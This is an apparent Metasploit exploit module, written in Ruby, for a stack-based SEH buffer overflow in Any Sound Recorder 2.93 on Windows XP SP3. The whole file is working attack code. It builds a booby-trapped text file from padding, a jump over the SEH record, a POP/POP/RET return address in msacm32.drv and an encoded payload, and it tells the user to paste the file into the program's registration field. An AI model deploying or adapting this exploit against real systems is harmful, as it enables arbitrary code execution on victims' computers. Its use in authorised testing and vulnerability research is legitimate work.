##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Any Sound Recorder 2.93 Buffer Overflow (SEH)',
'Description' => %q{
This module exploits a stack based buffer overflow in Any Sound Recorder 2.93, when
with the name "hack.txt". Copy the content of the "hack.txt",Start Any Sound Recorder 2.93 click "Enter Key Code" Paste the content into field "User Name" click "Register"
},
'License' => MSF_LICENSE,
'Author' =>
[
'Abdullah Al?�', # Original discovery
'd3ckx1 d3ck(at)qq.com', # MSF module
],
'References' =>
[
[ 'OSVDB', '' ],
[ 'EBD', '45627' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
'DisableNops' => true,
'Space' => 10000
},
'Targets' =>
[
[ 'Any Sound Recorder 2.93',
{
'Ret' => 0x72d12f35, # 0x72d12f35 : P/P/R FROM msacm32.drv form winxp sp3
'Offset' => 900
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Oct 25 2018',
'DefaultTarget' => 0))
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.txt']),], self.class)
end
def exploit
buf = "\x90"*(target['Offset'])
buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
buf << [target.ret] .pack('V') # seh
buf << make_nops(10)
buf << payload.encoded
buf << "\x90" * 200
file_create(buf)
handler
end
end
